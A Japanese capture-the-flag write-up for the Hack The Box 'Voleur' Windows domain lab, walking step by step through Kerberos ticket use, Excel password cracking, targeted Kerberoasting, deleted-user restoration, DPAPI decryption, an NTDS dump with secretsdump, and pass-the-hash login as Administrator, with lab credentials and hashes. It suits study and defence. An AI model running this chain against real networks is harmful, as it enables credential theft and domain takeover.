HTB Voleur writeup

Machine リリース日 2025年7月5日

執筆日 2026年7月11日

タグ (8)

Hack The Box の許可された隔離ラボのみを対象とする、教育目的の技術 Writeup。

Summary

Voleur は Windows Active Directory の権限遷移を段階的に追う Medium box だった。HTB から与えられた ryan.naylor の資格情報で Kerberos TGT を取得し、SMB の IT 共有からパスワード付き Excel を回収する。Excel から svc_ldap の資格情報を得た後、svc_ldap が svc_winrm に SPN を書けることを利用して targeted Kerberoasting を行い、svc_winrm で WinRM に入って user flag を取得した。さらに削除済みの todd.wolfe を復元し、Todd の archived profile から DPAPI credential artifact を復号して jeremy.combs へ移動する。Jeremy が読める Third-Line Support の領域から svc_backup の SSH 鍵を取得し、WSL/Ubuntu 側から Windows のバックアップを読んで ntds.dit と registry hive を secretsdump で処理し、Administrator の Kerberos key/hash で最終的に Administrator WinRM を取得した。

Box Info

Item	Value
Box	Voleur
Platform	Hack The Box
OS	Windows / Active Directory
Difficulty	Medium

Attack Chain

HTB provided creds
ryan.naylor:HollowOct31Nyt
        |
        v
Kerberos TGT for ryan.naylor
        |
        v
SMB IT share READ
        |
        v
Access_Review.xlsx -> cracked with office2john/john
        |
        +--> svc_ldap:M1XyC9pW7qT5Vn
        |
        v
svc_ldap has effective WriteSPN over svc_winrm
        |
        v
Add fake SPN to svc_winrm -> request TGS -> crack TGS-REP
        |
        v
svc_winrm:AFireInsidedeOzarctica980219afi
        |
        v
WinRM as svc_winrm -> user.txt
        |
        v
Use svc_ldap to restore deleted todd.wolfe
        |
        v
todd.wolfe:NightT1meP1dg3on14 -> SMB access to archived profile
        |
        v
DPAPI Credentials + Protect masterkey -> Jeremy credential
        |
        v
WinRM as jeremy.combs
        |
        v
C:\IT\Third-Line Support -> id_rsa for svc_backup + Backups
        |
        v
SSH/WSL as svc_backup -> sudo + /mnt/c backups
        |
        v
ntds.dit + SYSTEM + SECURITY -> secretsdump
        |
        v
Administrator NT hash / AES key
        |
        v
Kerberos TGT as Administrator -> WinRM -> root.txt

Target Details

Item	Value
Domain	`voleur.htb`
Hostname	`DC`, `dc.voleur.htb`
Note	後半ログでは box reset 後と思われる `10.129.26.223` も混在していたため、実行時の HTB IP に読み替える。

/etc/hosts は Kerberos の SPN と名前解決を揃えるため、FQDN と DC 名を入れる。

10.129.232.130  voleur.htb dc.voleur.htb dc

nmap は全 TCP port に対して aggressive scan を実行した。

nmap -sS -A -p- --min-rate 10000 10.129.232.130 > voleur.nmap

重要な出力は次の通り。

53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: voleur.htb)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
2222/tcp  open  ssh           OpenSSH 8.2p1 Ubuntu 4ubuntu0.11
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: voleur.htb)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0
9389/tcp  open  mc-nmf        .NET Message Framing

Running (JUST GUESSING): Microsoft Windows 2022
Service Info: Host: DC; OSs: Windows, Linux

smb2-security-mode:
  Message signing enabled and required
clock-skew: 8h00m01s

見るべき点:

88, 389, 445, 3268, 5985 が揃っており、Domain Controller として扱う。
NTLM:False が後続の NetExec 出力にも出るため、ユーザー名/パスワードをそのまま NTLM 認証に投げる経路は失敗しやすい。Kerberos 前提で考える。
clock-skew: 8h00m01s は Kerberos で致命的になり得る。通常 Kerberos は時刻差に厳しいため、TGT/TGS 取得前に攻撃端末側の時刻を合わせる。
2222/tcp の OpenSSH は Linux サービスだが、後で GNU/Linux ... Microsoft と表示されるため、Windows 上の WSL/Ubuntu と見る。
5985/tcp は WinRM。WinRM の Kerberos SPN は通常 HTTP/<host> になるため、単に TGT があるだけでなく HTTP/dc.voleur.htb の TGS が必要になる場面がある。

Initial Enumeration

HTB から初期資格情報として次が与えられていた。

ryan.naylor / HollowOct31Nyt

まず SSH を確認したが、port 2222 は password login ではなく public key 前提だった。

ssh -p 2222 ryan.naylor@voleur.htb

ryan.naylor@voleur.htb: Permission denied (publickey).

SMB と LDAP にユーザー名/パスワードで直接当てると、NTLM が使えず失敗する。

nxc ldap 10.129.232.130 -u users.txt -p passwords.txt

LDAP  10.129.232.130  389  DC  [*] ... (domain:voleur.htb) ... (NTLM:False)
LDAP  10.129.232.130  389  DC  [-] voleur.htb\ryan.naylor:HollowOct31Nyt STATUS_NOT_SUPPORTED

ここで重要なのは「資格情報が間違っている」と決めつけないこと。NTLM:False と STATUS_NOT_SUPPORTED が出ているため、認証方式が合っていない可能性が高い。

Kerberos を使う前に nmap で見えた 8 時間の時刻ずれを修正した。

sudo systemctl stop systemd-timesyncd
sudo ntpdate voleur.htb

time stepped by 28802.313854

次に Impacket で TGT を取得する。

getTGT.py voleur.htb/ryan.naylor:'HollowOct31Nyt' -dc-ip 10.129.232.130
export KRB5CCNAME=ryan.naylor.ccache
klist

[*] Saving ticket in ryan.naylor.ccache

Default principal: ryan.naylor@VOLEUR.HTB

Valid starting       Expires              Service principal
07/11/2026 10:29:03  07/11/2026 20:29:03  krbtgt/VOLEUR.HTB@VOLEUR.HTB

TGT/TGS/SPN の整理

Kerberos では、最初にユーザーの長期鍵、つまりパスワード由来の鍵で KDC に AS-REQ を送り、krbtgt 宛の TGT を受け取る。TGT は「このユーザーは KDC に認証済みである」という証明であり、SMB/LDAP/HTTP など個別サービスに直接提示するチケットではない。

個別サービスにアクセスするときは、TGT を使って TGS-REQ を送り、cifs/dc.voleur.htb、ldap/dc.voleur.htb、http/dc.voleur.htb のような SPN に対する TGS を取得する。SPN は「どのサービスアカウントの鍵で service ticket を暗号化するか」を KDC が決めるための名前である。

この box では NTLM が使えないため、最初から Kerberos の TGT/TGS と SPN の対応を意識する必要がある。

Kerberos の realm 解決

kvno ldap/dc.voleur.htb を実行した際、初期状態では service principal の realm が別 realm に推測され、KDC 解決に失敗した。

KRB5_TRACE=/dev/stderr kvno ldap/dc.voleur.htb

Getting credentials ryan.naylor@VOLEUR.HTB -> ldap/dc.voleur.htb@ATHENA.MIT.EDU
kvno: Cannot find KDC for realm "VOLEUR.HTB" while getting credentials for ldap/dc.voleur.htb@ATHENA.MIT.EDU

これは攻撃端末側の MIT Kerberos が dc.voleur.htb を VOLEUR.HTB realm に属すると判断できていない状態である。/etc/hosts だけでは realm mapping まで保証しないため、専用の krb5 設定を用意する。

cat > /tmp/krb5-voleur.conf <<'EOF'
[libdefaults]
    default_realm = VOLEUR.HTB
    dns_lookup_realm = false
    dns_lookup_kdc = false
    rdns = false
    udp_preference_limit = 1

[realms]
    VOLEUR.HTB = {
        kdc = dc.voleur.htb
        admin_server = dc.voleur.htb
    }

[domain_realm]
    .voleur.htb = VOLEUR.HTB
    voleur.htb = VOLEUR.HTB
    dc.voleur.htb = VOLEUR.HTB
EOF

export KRB5_CONFIG=/tmp/krb5-voleur.conf
KRB5_TRACE=/dev/stderr kvno ldap/dc.voleur.htb
klist

Requesting tickets for ldap/dc.voleur.htb@VOLEUR.HTB
TGS request result: 0/Success
ldap/dc.voleur.htb@VOLEUR.HTB: kvno = 5

Service principal
krbtgt/VOLEUR.HTB@VOLEUR.HTB
ldap/dc.voleur.htb@VOLEUR.HTB

この時点で「TGT を使って LDAP 用 TGS を取れる」ことが確認できた。

SMB and LDAP Enumeration

Kerberos cache を使って SMB shares を列挙する。

nxc smb dc.voleur.htb --use-kcache --shares --rid-brute

SMB  dc.voleur.htb  445  dc  [+] VOLEUR.HTB\ryan.naylor from ccache
SMB  dc.voleur.htb  445  dc  Share      Permissions  Remark
SMB  dc.voleur.htb  445  dc  ADMIN$                  Remote Admin
SMB  dc.voleur.htb  445  dc  C$                      Default share
SMB  dc.voleur.htb  445  dc  Finance
SMB  dc.voleur.htb  445  dc  HR
SMB  dc.voleur.htb  445  dc  IPC$       READ         Remote IPC
SMB  dc.voleur.htb  445  dc  IT         READ
SMB  dc.voleur.htb  445  dc  NETLOGON   READ         Logon server share
SMB  dc.voleur.htb  445  dc  SYSVOL     READ         Logon server share

1103: VOLEUR\ryan.naylor
1104: VOLEUR\marie.bryant
1105: VOLEUR\lacey.miller
1106: VOLEUR\svc_ldap
1107: VOLEUR\svc_backup
1108: VOLEUR\svc_iis
1109: VOLEUR\jeremy.combs
1601: VOLEUR\svc_winrm
1602: VOLEUR\Restore_Users

IT が READ 可能で、ユーザーと service account の候補も見えた。LDAP でもユーザーとグループを確認する。

nxc ldap dc.voleur.htb --use-kcache --users --group

LDAP  dc.voleur.htb  389  DC  [+] VOLEUR.HTB\ryan.naylor from ccache
LDAP  dc.voleur.htb  389  DC  [*] Enumerated 11 domain users: VOLEUR.HTB

ryan.naylor   First-Line Support Technician
marie.bryant  First-Line Support Technician
lacey.miller  Second-Line Support Technician
svc_ldap
svc_backup
svc_iis
jeremy.combs  Third-Line Support Technician
svc_winrm

First-Line Technicians   2
Second-Line Technicians  1
Third-Line Technicians   1
Restore_Users            1
Remote Management Users  2

ここでは組織構造が重要だった。First-Line, Second-Line, Third-Line, Restore_Users という名前は、共有フォルダと AD 権限遷移の両方に関係しそうな命名である。

Access Review Excel

IT share に Kerberos で接続すると、First-Line Support 配下に Access_Review.xlsx があった。

impacket-smbclient -k -no-pass \
    -dc-ip 10.129.232.130 \
    -target-ip 10.129.232.130 \
    voleur.htb/ryan.naylor@dc.voleur.htb

smb> use IT
smb> ls
drw-rw-rw-          0  Wed Jan 29 18:10:01 2025 .
drw-rw-rw-          0  Fri Jul 25 05:09:59 2025 ..
drw-rw-rw-          0  Wed Jan 29 18:40:17 2025 First-Line Support

smb> cd First-Line Support
smb> ls
-rw-rw-rw-      16896  Fri May 30 07:23:36 2025 Access_Review.xlsx
smb> get Access_Review.xlsx

Excel はパスワード付きだったため、Office hash を抽出して辞書攻撃する。

office2john Access_Review.xlsx > office.hash
john --wordlist=/usr/share/wordlists/rockyou.txt office.hash

Loaded 1 password hash (Office, 2007/2010/2013)
football1        (Access_Review.xlsx)
Session completed.

Excel の重要な内容は次の通り。

User	Job Title	Permissions	Notes
Ryan.Naylor	First-Line Support Technician	SMB	Has Kerberos Pre-Auth disabled temporarily to test legacy systems.
Lacey.Miller	Second-Line Support Technician	Remote Management Users
Todd.Wolfe	Second-Line Support Technician	Remote Management Users	Leaver. Password was reset to `NightT1meP1dg3on14` and account deleted.
Jeremy.Combs	Third-Line Support Technician	Remote Management Users	Has access to Software folder.
svc_backup	Windows Backup		Speak to Jeremy!
svc_ldap	LDAP Services		P/W - `M1XyC9pW7qT5Vn`
svc_iis	IIS Administration		P/W - `N5pXyW1VqM7CZ8`
svc_winrm	Remote Management		Need to ask Lacey as she reset this recently.

この Excel は単なる credential list ではなく、遷移のヒントになっている。svc_ldap は次の LDAP/ACL 調査へ、Todd.Wolfe は削除済みオブジェクトと archived profile へ、Jeremy.Combs と svc_backup は Third-Line Support とバックアップへつながる。

Targeted Kerberoasting via WriteSPN

svc_ldap のパスワードで TGT を取得し、LDAP 認証できることを確認する。

getTGT.py voleur.htb/svc_ldap:'M1XyC9pW7qT5Vn' -dc-ip 10.129.232.130
export KRB5CCNAME=svc_ldap.ccache
nxc ldap dc.voleur.htb --use-kcache

[*] Saving ticket in svc_ldap.ccache
LDAP  dc.voleur.htb  389  DC  [+] VOLEUR.HTB\svc_ldap from ccache

RustHound CE で BloodHound 用データを収集した。

rusthound-ce \
    -d voleur.htb \
    -f dc.voleur.htb \
    -i 10.129.232.130 \
    -n 10.129.232.130 \
    -k \
    -c All \
    --zip

ここで使った関係は、svc_ldap が svc_winrm に対して SPN を書けることだった。実際に servicePrincipalName の更新が成功しているため、少なくともこの属性への effective write 権限は確認できている。

bloodyAD -d voleur.htb -k --host dc.voleur.htb \
    -u svc_ldap -p 'M1XyC9pW7qT5Vn' \
    set object svc_winrm servicePrincipalName -v 'mssqlsvc/anything'

[+] svc_winrm's servicePrincipalName has been updated

なぜこれで Kerberoasting できるか:

Kerberoasting は「SPN が設定されたアカウント」の TGS を取得し、その TGS-REP の暗号部分を offline cracking する攻撃である。
TGS の一部は service account の長期鍵、つまりそのアカウントのパスワード由来の鍵で暗号化される。
通常は最初から SPN を持つ service account が対象になる。
今回は svc_winrm に SPN がなかったとしても、svc_ldap が svc_winrm の servicePrincipalName を変更できるため、任意の fake SPN を一時的に追加できる。
KDC は SPN 文字列が実際に稼働中のサービスかまでは見ない。AD 上でその SPN が svc_winrm に紐づけば、mssqlsvc/anything 宛の TGS は svc_winrm の鍵で作られる。

TGS-REP hash を取得する。

netexec ldap dc.voleur.htb \
    -u svc_ldap -p 'M1XyC9pW7qT5Vn' -k \
    --kerberoasting svc_winrm.hash

LDAP  dc.voleur.htb  389  DC  [+] voleur.htb\svc_ldap:M1XyC9pW7qT5Vn
LDAP  dc.voleur.htb  389  DC  [*] Total of records returned 1
LDAP  dc.voleur.htb  389  DC  [*] sAMAccountName: svc_winrm, memberOf: CN=Remote Management Users,CN=Builtin,DC=voleur,DC=htb
LDAP  dc.voleur.htb  389  DC  $krb5tgs$23$*svc_winrm$VOLEUR.HTB$...

hashcat は hash mode 13100、Kerberos 5 TGS-REP etype 23 として自動判定した。

hashcat svc_winrm.hash /usr/share/wordlists/rockyou.txt

Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Status...........: Cracked
svc_winrm:AFireInsidedeOzarctica980219afi

svc_winrm のパスワードが得られた。

svc_winrm / AFireInsidedeOzarctica980219afi

WinRM as svc_winrm

svc_winrm は Remote Management Users に入っているため、WinRM が主経路になる。

kinit svc_winrm
evil-winrm -i dc.voleur.htb -r voleur.htb

*Evil-WinRM* PS C:\Users\svc_winrm\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\svc_winrm\Desktop> dir

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-ar---         7/10/2026   6:03 PM             34 user.txt

*Evil-WinRM* PS C:\Users\svc_winrm\Desktop> type user.txt
[REDACTED]

Metasploit で WinRM Kerberos を使う場合、TGT だけでは失敗した。

LOGIN FAILED: voleur.htb\svc_winrm:AFireInsidedeOzarctica980219afi
(Incorrect: Kerberos Error - KRB_AP_ERR_MODIFIED (41) - Message stream modified)

これは WinRM に提示している service ticket の SPN が合っていないことを示す典型的なエラーである。WinRM/WSMan は HTTP サービスクラスを使うため、http/dc.voleur.htb の TGS を明示して取得すると成功した。

Getting TGS for svc_winrm@voleur.htb (SPN: http/dc.voleur.htb)
Received a valid TGS-Response
Login Successful: voleur.htb\svc_winrm:AFireInsidedeOzarctica980219afi

TGT と TGS の区別をここで再確認できる。TGT は「KDC に認証済み」というチケットで、WinRM サーバに直接提示するものではない。WinRM に必要なのは HTTP/dc.voleur.htb という SPN の TGS である。

Restoring todd.wolfe

Excel には Todd.Wolfe が退職者で、パスワードが NightT1meP1dg3on14 にリセットされ、アカウントが削除されたと書かれていた。svc_winrm のセッション上で Active Directory module を使い、svc_ldap の credential で削除済みオブジェクトを調べる。

$pass = ConvertTo-SecureString 'M1XyC9pW7qT5Vn' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('VOLEUR\svc_ldap', $pass)

Import-Module ActiveDirectory
Get-ADObject -Server dc.voleur.htb -Credential $cred `
    -Filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' `
    -IncludeDeletedObjects `
    -Property objectSid,lastKnownParent

Deleted           : True
DistinguishedName : CN=Todd Wolfe\0ADEL:1c6b1deb-c372-4cbb-87b1-15031de169db,CN=Deleted Objects,DC=voleur,DC=htb
LastKnownParent   : OU=Second-Line Support Technicians,DC=voleur,DC=htb
Name              : Todd Wolfe
ObjectGUID        : 1c6b1deb-c372-4cbb-87b1-15031de169db
objectSid         : S-1-5-21-3927696377-1337352550-2781715495-1110

削除済みユーザーの GUID と SID が取れた。SID は後の DPAPI 復号にも使う。

Restore-ADObject で元の OU に復元する。

Restore-ADObject `
    -Identity '1c6b1deb-c372-4cbb-87b1-15031de169db' `
    -Server dc.voleur.htb `
    -Credential $cred `
    -TargetPath 'OU=Second-Line Support Technicians,DC=voleur,DC=htb' `
    -PassThru

Get-ADUser todd.wolfe -Properties Enabled,DistinguishedName,MemberOf |
    Format-List Enabled,DistinguishedName,MemberOf

DistinguishedName : CN=Todd Wolfe,OU=Second-Line Support Technicians,DC=voleur,DC=htb
ObjectClass       : user
ObjectGUID        : 1c6b1deb-c372-4cbb-87b1-15031de169db

Enabled           : True
DistinguishedName : CN=Todd Wolfe,OU=Second-Line Support Technicians,DC=voleur,DC=htb
MemberOf          : {CN=Second-Line Technicians,DC=voleur,DC=htb,
                     CN=Remote Management Users,CN=Builtin,DC=voleur,DC=htb}

AD Recycle Bin が有効な環境では、削除済みオブジェクトが CN=Deleted Objects 配下に一定期間残る。復元権限を持つ主体なら Restore-ADObject で戻せる。今回は svc_ldap の資格情報で復元が成功しており、Todd.Wolfe の SID とグループ情報も後続に使える状態で戻った。

ただし Todd の WinRM login は安定して成功しなかったため、Todd の資格情報は SMB 共有の探索に使った。

DPAPI from Todd’s Archived Profile

todd.wolfe の credential で IT share に接続すると、Second-Line Support 配下に archived profile が見えた。

smbclient -U 'voleur.htb/todd.wolfe%NightT1meP1dg3on14' \
    --realm=voleur.htb \
    //dc.voleur.htb/IT

最初に C:\IT\... のような絶対パスで取得しようとして失敗した。

NT_STATUS_OBJECT_NAME_INVALID opening remote file \C:\IT\Second-Line Support\Archived Users\...

SMB share //dc.voleur.htb/IT の root はすでに C:\IT なので、share root からの相対パスで指定する必要がある。

smb: \> ls
  .                                   D        0  Wed Jan 29 18:10:01 2025
  ..                                DHS        0  Fri Jul 25 05:09:59 2025
  Second-Line Support                 D        0  Thu Jan 30 00:13:03 2025

smb: \> get "Second-Line Support\Archived Users\todd.wolfe\AppData\Roaming\Microsoft\Credentials\772275FAD58525253490A9B0039791D3"
getting file ... of size 398

smb: \> get "Second-Line Support\Archived Users\todd.wolfe\AppData\Roaming\Microsoft\Protect\S-1-5-21-3927696377-1337352550-2781715495-1110\08949382-134f-4c63-b93c-ce52efc0aa88"
getting file ... of size 740

取得した 2 種類のファイルが DPAPI の鍵になる。

Credentials\772275FAD58525253490A9B0039791D3
Protect\S-1-5-21-3927696377-1337352550-2781715495-1110\08949382-134f-4c63-b93c-ce52efc0aa88

DPAPI の見方は次の順で考えるとよい。

入口を読む
「Archived Users」「Profiles」「Backup」「Home」など
        |
        v
Windows user profile と認識する
        |
        v
既知の credential artifact path を確認する
  - AppData\Roaming\Microsoft\Credentials
  - AppData\Roaming\Microsoft\Protect\<SID>
  - AppData\Local\Microsoft\Vault
        |
        v
Credentials blob と masterkey を両方回収する
        |
        v
ユーザー password + SID で masterkey を復号できるか確認する
        |
        v
復号済み masterkey で Credentials blob を復号する
        |
        v
保存済みの username/password や target を読む

DPAPI では、Credential Manager などの秘密情報そのものは Credentials 配下の blob として保存されるが、これは平文ではない。blob を復号する masterkey は Protect\<SID> 配下に保存される。masterkey はユーザーのログオン秘密、つまりパスワードと SID などから導かれる鍵で保護される。

この box では Todd の password が Excel にあり、SID は削除済み AD object から確認済みだった。

todd.wolfe password: NightT1meP1dg3on14
todd.wolfe SID:      S-1-5-21-3927696377-1337352550-2781715495-1110

そのため、ドメイン backup key を取らなくても、Todd の password と SID から masterkey を復号し、credential blob を復号できる条件が揃っていた。

この復号コマンドと復号出力は手元の実行ログに残っていなかった。再取得時は次の 2 段階の出力を保存すると、report の再現性が上がる。

impacket-dpapi masterkey \
    -file "08949382-134f-4c63-b93c-ce52efc0aa88" \
    -sid "S-1-5-21-3927696377-1337352550-2781715495-1110" \
    -password 'NightT1meP1dg3on14'

impacket-dpapi credential \
    -file "772275FAD58525253490A9B0039791D3" \
    -key '<decrypted-masterkey>'

後続ログでは jeremy.combs として WinRM セッションに入れているため、この DPAPI credential から Jeremy の認証情報が得られたと判断できる。ただし Jeremy の具体的な password 値は実行ログに残っていない。

WinRM as jeremy.combs

DPAPI で得た資格情報を使い、jeremy.combs として WinRM に入る。

*Evil-WinRM* PS C:\Users\jeremy.combs\Documents> whoami
voleur\jeremy.combs

*Evil-WinRM* PS C:\Users\jeremy.combs\Documents> whoami /upn
jeremy.combs@voleur.htb

*Evil-WinRM* PS C:\Users\jeremy.combs\Documents> ([adsisearcher]"(userPrincipalName=jeremy.combs@voleur.htb)").FindOne().Properties.distinguishedname
CN=Jeremy Combs,OU=Third-Line Support Technicians,DC=voleur,DC=htb

Excel の Jeremy.Combs 行には Has access to Software folder とあったが、実際に重要だったのは Third-Line Support 配下へのアクセスだった。

Get-ChildItem C:\IT -Force -Recurse -ErrorAction SilentlyContinue

Directory: C:\IT

Mode   LastWriteTime        Name
----   -------------        ----
d----- 1/29/2025 1:40 AM   First-Line Support
d----- 1/29/2025 7:13 AM   Second-Line Support
d----- 1/30/2025 8:11 AM   Third-Line Support

Directory: C:\IT\Third-Line Support

Mode   LastWriteTime        Length Name
----   -------------        ------ ----
d----- 1/30/2025 8:11 AM          Backups
-a---- 1/30/2025 8:10 AM   2602   id_rsa
-a---- 1/30/2025 8:07 AM   186    Note.txt.txt

id_rsa を確認すると、OpenSSH key の comment が svc_backup@DC だった。

ssh-keygen -y -f id_rsa

ssh-rsa AAAA...zQ4us= svc_backup@DC

id_rsa は svc_backup の SSH 鍵として使える。

SSH/WSL as svc_backup

nmap で見えていた 2222/tcp に、取得した SSH key で接続する。

ssh -i ./id_rsa -p 2222 svc_backup@dc.voleur.htb

Welcome to Ubuntu 20.04 LTS (GNU/Linux 4.4.0-20348-Microsoft x86_64)
Last login: Thu Jan 30 04:26:24 2025 from 127.0.0.1
svc_backup@DC:~$

4.4.0-20348-Microsoft から、Windows 上の WSL/Ubuntu だと分かる。sudo -l も確認する。

sudo -l
hostname
id
ls /mnt

User svc_backup may run the following commands on DC:
    (ALL : ALL) ALL
    (ALL) NOPASSWD: ALL

hostname
DC

uid=1000(svc_backup) gid=1000(svc_backup) groups=1000(svc_backup),...,27(sudo),...

/mnt
c

svc_backup は WSL 内では passwordless sudo を持ち、Windows の C: drive が /mnt/c に mount されている。つまり Windows 側のバックアップファイルを Linux 側から読める。

cd "/mnt/c/IT/Third-Line Support/Backups"
ls
ls 'Active Directory'
ls registry

Active Directory   registry

Active Directory:
ntds.dit  ntds.jfm

registry:
SECURITY  SYSTEM

ここで ntds.dit, SYSTEM, SECURITY が揃った。

Offline NTDS Dump with secretsdump

取得した backup files を使って、オフラインで domain credential を復号する。

secretsdump.py LOCAL -system SYSTEM -security SECURITY -ntds ntds.dit

重要な出力は次の通り。

[*] Target system bootKey: 0xbbdd1a32433b87bcc9b875321b883d2d
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
VOLEUR\DC$:aes256-cts-hmac-sha1-96:65d713fde9ec5e1b1fd9144ebddb43221123c44e00c9dacd8bfc2cc7b00908b7

[*] DPAPI_SYSTEM
dpapi_machinekey:0x5d117895b83add68c59c7c48bb6db5923519f436
dpapi_userkey:0xdce451c1fdc323ee07272945e3e0013d5a07d1c3

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] PEK # 0 found and decrypted: 898238e1ccd2ac0016a18c53f4569f40

Administrator:500:aad3b435b51404eeaad3b435b51404ee:e656e07c56d831611b577b160b259ad2:::
voleur.htb\svc_winrm:1601:aad3b435b51404eeaad3b435b51404ee:5d7e37717757433b4780079ee9b1d421:::
voleur.htb\jeremy.combs:1109:aad3b435b51404eeaad3b435b51404ee:7b4c3ae2cbd5d74b7055b7f64c0b3b4c:::

[*] Kerberos keys from ntds.dit
Administrator:aes256-cts-hmac-sha1-96:f577668d58955ab962be9a489c032f06d84f3b66cc05de37716cac917acbeebb
Administrator:aes128-cts-hmac-sha1-96:38af4c8667c90d19b286c7af861b10cc

なぜ secretsdump が成立したか:

ntds.dit は Active Directory database で、domain user の NT hash や Kerberos key が暗号化されて保存されている。
SYSTEM hive には bootKey を復元するための材料があり、secretsdump はこれを使って NTDS 内の PEK、つまり Password Encryption Key を復号する。
復号された PEK によって、ntds.dit 内の user hash と Kerberos key を復号できる。
SECURITY hive は LSA secrets、cached logon、DPAPI_SYSTEM、NL$KM などの復号に使われる。今回の Administrator hash 取得だけなら中心は ntds.dit と SYSTEM だが、SECURITY があることで追加の secret も取れる。
今回読んだのは live locked database ではなく backup copy であり、svc_backup が WSL 側から /mnt/c の backup directory を読めたため、VSS や DRSUAPI の権限を使う必要がなかった。

Administrator の NT hash と AES key が得られたので、Kerberos TGT を作れる。

Administrator Access

NT hash または AES key を long-term key として使い、Administrator の TGT を取得する。NTLM が無効な環境では、最終アクセスも Kerberos に寄せる方が安定する。

getTGT.py voleur.htb/Administrator \
    -hashes aad3b435b51404eeaad3b435b51404ee:e656e07c56d831611b577b160b259ad2 \
    -dc-ip 10.129.232.130

getTGT.py voleur.htb/Administrator \
    -aesKey f577668d58955ab962be9a489c032f06d84f3b66cc05de37716cac917acbeebb \
    -dc-ip 10.129.232.130

export KRB5CCNAME=Administrator.ccache
klist

[*] Saving ticket in Administrator.ccache

Default principal: Administrator@VOLEUR.HTB

Valid starting       Expires              Service principal
07/12/2026 10:46:20  07/12/2026 20:46:20  krbtgt/VOLEUR.HTB@VOLEUR.HTB

Administrator TGT を使って WinRM に入る。

evil-winrm -i dc.voleur.htb -r voleur.htb

*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> ls

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-ar---         7/11/2026   2:38 PM             34 root.txt

*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
[REDACTED]

Rabbit Holes and Dead Ends

ssh -p 2222 は初期ユーザー名/パスワードでは入れなかった。port 2222 は後半の svc_backup SSH key 用だった。
NetExec の username/password 認証で STATUS_NOT_SUPPORTED が出たが、これは資格情報不正ではなく NTLM が使えないことを示していた。Kerberos に切り替えるのが正しい。
攻撃端末側の Kerberos realm mapping が不十分だと、ldap/dc.voleur.htb@ATHENA.MIT.EDU のような不正な service principal になった。KRB5_CONFIG で VOLEUR.HTB に固定する必要があった。
evil-winrm-py -k は tool 側が -k を受け付けず使えなかった。
Metasploit の WinRM Kerberos は TGT だけでは KRB_AP_ERR_MODIFIED になった。http/dc.voleur.htb の TGS を取得してから渡す必要があった。
Todd は Remote Management Users に戻ったが、WinRM shell 取得は安定しなかった。Todd credential は SMB で archived profile を読む用途に切り替えた。
//dc.voleur.htb/IT share では root がすでに C:\IT なので、C:\IT\... という絶対パス指定は NT_STATUS_OBJECT_NAME_INVALID になった。share root からの相対パスで取得する。

Cleanup Notes

svc_winrm に追加した fake SPN mssqlsvc/anything は削除する。

bloodyAD -d voleur.htb -k --host dc.voleur.htb \
    -u svc_ldap -p 'M1XyC9pW7qT5Vn' \
    remove object svc_winrm servicePrincipalName -v 'mssqlsvc/anything'

todd.wolfe を復元したため、box を汚したくない場合は復元状態を戻す。HTB では reset で戻るが、実環境なら restored user の disable/delete と OU を確認する。
C:\Users\svc_winrm\Documents に置いた RunasCs.exe, todd.exe, reverse shell payload などの一時ファイルがあれば削除する。
Metasploit session、local ccache、hash file、downloaded ntds.dit/registry hive/DPAPI blob/SSH key は秘密情報として扱い、不要なら削除する。

Credentials and Artifacts

種別	値
Initial credential	`ryan.naylor / HollowOct31Nyt`
Excel file	`Access_Review.xlsx`
Excel password	`football1`
`svc_ldap`	`svc_ldap / M1XyC9pW7qT5Vn`
`svc_iis`	`svc_iis / N5pXyW1VqM7CZ8`
Restored user	`todd.wolfe / NightT1meP1dg3on14`
`svc_winrm`	`svc_winrm / AFireInsidedeOzarctica980219afi`
DPAPI credential blob	`Credentials\772275FAD58525253490A9B0039791D3`
DPAPI masterkey file	`Protect\S-1-5-21-3927696377-1337352550-2781715495-1110\08949382-134f-4c63-b93c-ce52efc0aa88`
DPAPI result	`jeremy.combs` credential。具体的な password 値は実行ログに残っていない。
SSH key	`id_rsa`, public key comment `svc_backup@DC`
`svc_backup`	SSH key login on port `2222`; WSL user has `NOPASSWD: ALL`
Backup files	`Active Directory\ntds.dit`, `registry\SYSTEM`, `registry\SECURITY`
Administrator NT hash	`e656e07c56d831611b577b160b259ad2`
Administrator AES256 key	`f577668d58955ab962be9a489c032f06d84f3b66cc05de37716cac917acbeebb`
user flag	`[REDACTED]`
root flag	`[REDACTED]`

再取得すると report の精度が上がる証跡:

DPAPI masterkey 復号コマンドの出力。
DPAPI credential blob 復号出力。少なくとも TargetName, UserName, CredentialBlob が分かる形で保存する。
Note.txt.txt の内容。Third-Line Support のバックアップや svc_backup へのヒントが書かれている可能性がある。
BloodHound/RustHound で見えた svc_ldap -> svc_winrm の権限名。実行上は WriteSPN が成功しているが、グラフ上の edge 名を残すと説明が締まる。

Required Knowledge

Kerberos の TGT/TGS/SPN の関係。TGT は KDC に認証済みであることを示し、サービス接続には各 SPN 用の TGS が必要になる。
NTLM が無効な AD での列挙手順。username/password を直接投げるのではなく、TGT を取得して ccache を使う。
Kerberos の時刻同期と realm mapping。clock skew と KRB5_CONFIG の不備は、資格情報が正しくても認証失敗を起こす。
Targeted Kerberoasting。SPN を書ける権限があれば、本来 SPN を持たないアカウントにも一時的に SPN を付け、TGS-REP を cracking 対象にできる。
AD Recycle Bin と Restore-ADObject。削除済みオブジェクトの GUID/SID/lastKnownParent を確認し、権限があれば復元できる。
DPAPI の構成。Credentials blob だけでは不十分で、Protect\<SID> の masterkey と、ユーザー password/SID などの復号材料が必要になる。
